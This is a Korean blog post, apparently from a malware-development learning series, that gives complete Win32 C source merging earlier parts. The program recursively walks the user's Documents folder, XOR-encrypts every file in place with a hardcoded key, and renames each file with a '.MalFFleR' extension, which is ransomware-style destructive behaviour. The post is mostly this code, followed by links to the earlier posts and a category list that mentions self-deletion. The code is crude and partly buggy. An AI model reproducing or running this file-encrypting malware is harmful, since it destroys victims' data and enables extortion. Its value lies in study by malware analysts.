일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | |
7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 | 29 | 30 | 31 |
- 사회적 사실
- 자살론
- h4ckinggame
- 사회분업론
- 리버싱
- 코드엔진 베이직
- codeengn basic rce 01
- 논문리뷰
- CodeEngn Basic 5
- 코드엔진
- 철학
- BoB 12기
- BoB 12기 최종합격 후기
- CodeEngn Basic 01
- 디지털 포렌식 트랙
- 코드엔진 basic 5
- malware
- 에밀 뒤르켐
- Best of the Best
- CodeEngn
- bob
- Today
- Total
woonadz :)
WIN32 API 프로그래밍 - 특정 파일 암호화 및 확장자 변경하기: 지금까지의 코드 병합 본문
#include <Windows.h>
#include <stdio.h>
#include <shlobj_core.h>
#include <combaseapi.h>
#include <fileapi.h>
#include <string.h>
#include <shlwapi.h>
#define MAX_PATH 1000
#define buffersize 1024
#pragma comment (lib, "shlwapi.lib")
const BYTE xorKey[] = { 'M', 'a', 'l', 'F', 'F', 'l', 'e', 'R' };
void all_file_list(wchar_t* path);
void file_encrypt_xor(wchar_t* path);
int main(void) {
char* document_path = NULL;
REFKNOWNFOLDERID ID = &FOLDERID_Documents;
HRESULT document;
document = SHGetKnownFolderPath(ID, 0, NULL, &document_path); //documents 폴더의 경로 가져오기
if (document == 0) { //documents 폴더의 경로를 정상적으로 반환했다면 경로 출력
all_file_list(document_path);
}
CoTaskMemFree(document_path); //할당된 메모리 해제
}
void all_file_list(wchar_t* path) {
wchar_t folder_path[MAX_PATH];
WIN32_FIND_DATAW file_list;
HANDLE result_handle;
wcscpy_s(folder_path, MAX_PATH, path);
wcscat_s(folder_path, MAX_PATH, L"\\*");
result_handle = FindFirstFileW(folder_path, &file_list);
do {
if (wcscmp(file_list.cFileName, L".") != 0 && wcscmp(file_list.cFileName, L"..") != 0) {
if (file_list.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { // 만약 폴더라면
wchar_t tmp_path[MAX_PATH];
wcscpy(tmp_path, path);
wcscat(tmp_path, L"\\");
wcscat(tmp_path, file_list.cFileName);
all_file_list(tmp_path); // 재귀함수를 통해 자식 폴더의 파일들까지 모두 출력
}
else {
wchar_t tmp_path[MAX_PATH];
wcscpy_s(tmp_path, sizeof(tmp_path) / sizeof(wchar_t), path);
wcscat_s(tmp_path, MAX_PATH, L"\\");
wcscat_s(tmp_path, MAX_PATH, file_list.cFileName);
file_encrypt_xor(tmp_path);
}
}
} while (FindNextFileW(result_handle, &file_list) != 0);
FindClose(result_handle);
}
void file_encrypt_xor(wchar_t* path) {
LPVOID buffer[buffersize];
DWORD BytesRead = 0;
BYTE* data = NULL;
DWORD totalBytesRead = 0;
HANDLE CreateFile_result_read = CreateFileW(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
while (ReadFile(CreateFile_result_read, buffer, buffersize, &BytesRead, NULL) && BytesRead > 0) {
data = (BYTE*)realloc(data, totalBytesRead + BytesRead);
memcpy(data + totalBytesRead, buffer, BytesRead);
totalBytesRead += BytesRead;
}
for (DWORD i = 0; i < totalBytesRead; i++) {
data[i] ^= xorKey[i % 8]; // 8바이트 키를 순환하며 XOR 연산
}
CloseHandle(CreateFile_result_read); // 핸들을 닫음
// 파일을 열 때 기존 내용을 삭제하고 덮어쓰기 위해 CREATE_ALWAYS 사용
HANDLE CreateFile_result_write = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
BOOL result = WriteFile(CreateFile_result_write, data, totalBytesRead, NULL, NULL); // XOR로 암호화된 데이터 덮어쓰기
free(data);
CloseHandle(CreateFile_result_write); // 핸들을 닫음
wchar_t newpath[10000]; // 확장자를 제외한 경로를 파싱할 변수
wcscpy(newpath, path);
wchar_t res[10000]; // 확장자를 바꿀 파일의 경로
wcscpy(res, path);
wchar_t mid[10000];
wchar_t* Ext = L".MalFFleR"; // 새로운 확장자
wchar_t* context;
wcstok(newpath, ".", &context); // "."을 기준으로 문자열 파싱
if (newpath != NULL) {
wcscpy(mid, newpath);
wcscat(mid, Ext); // 새로운 확장자와 결합
printf("%ls\n", res);
if (MoveFileW(res, mid) != 0) { // 파일명 변경
printf("Rename successful.\n");
}
else {
perror("failed");
printf("Rename failed.\n");
}
}
}
지금까지 만들었던 기능들을 합친 코드입니다.
각 코드에 대한, 함수에 대한 설명은 아래 링크를 참조해주시길 바랍니다.
WIN32 API 프로그래밍 - 폴더 경로 가져오기(SHGetKnownFolderPath)
SHGetKnownFolderPath 함수 : 폴더의 KNOWNFOLDERID로 식별된 알려진 폴더의 전체 경로를 검색합니다. HRESULT SHGetKnownFolderPath( [in] REFKNOWNFOLDERID rfid, [in] DWORD dwFlags, [in, optional] HANDLE hToken, [out] PWSTR *ppszPath ); [i
scorchingnraining.tistory.com
WIN32 API 프로그래밍 - 폴더 내 모든 파일 출력하기(FindFirstFileA, FindNextFileA)
FindFirstFileA 함수 HANDLE FindFirstFileA( [in] LPCSTR lpFileName, [out] LPWIN32_FIND_DATAA lpFindFileData ); [in] lpFileName 디렉터리 또는 경로 및 파일 이름입니다. 파일 이름에는 와일드카드 문자(예: 별표(*) 또는 물음
scorchingnraining.tistory.com
WIN32 API 프로그래밍 - 특정 파일 XOR 암호화하기(1):파일 데이터 불러와서 암호화하기 (CreateFileA, Rea
CreateFileA 함수 : 파일 또는 I/O 디바이스를 열거나 생성합니다. HANDLE CreateFileA( [in] LPCSTR lpFileName, [in] DWORD dwDesiredAccess, [in] DWORD dwShareMode, [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes, [in] DWORD dwCreati
scorchingnraining.tistory.com
WIN32 API 프로그래밍 - 특정 파일 XOR 암호화하기(2):암호화된 데이터 새로운 확장자로 저장하기 (Wri
WriteFile : 지정된 파일 또는 I/O(입출력) 디바이스에 데이터를 씁니다. BOOL WriteFile( [in] HANDLE hFile, [in] LPCVOID lpBuffer, [in] DWORD nNumberOfBytesToWrite, [out, optional] LPDWORD lpNumberOfBytesWritten, [in, out, optional] LPOVE
scorchingnraining.tistory.com
'IT > malware dev' 카테고리의 다른 글
WIN32 API 프로그래밍 - CMD를 이용한 자가 삭제 (1) | 2023.11.03 |
---|---|
WIN32 API 프로그래밍 - 특정 파일 XOR 암호화하기(2):암호화된 데이터 새로운 확장자로 저장하기 (WriteFile) (1) | 2023.10.31 |
WIN32 API 프로그래밍 - 특정 파일 XOR 암호화하기(1):파일 데이터 불러와서 암호화하기 (CreateFileA, ReadFile) (1) | 2023.10.30 |
WIN32 API 프로그래밍 - 폴더 내 모든 파일 출력하기(FindFirstFileA, FindNextFileA) (0) | 2023.10.26 |
WIN32 API 프로그래밍 - 폴더 경로 가져오기(SHGetKnownFolderPath) (0) | 2023.10.25 |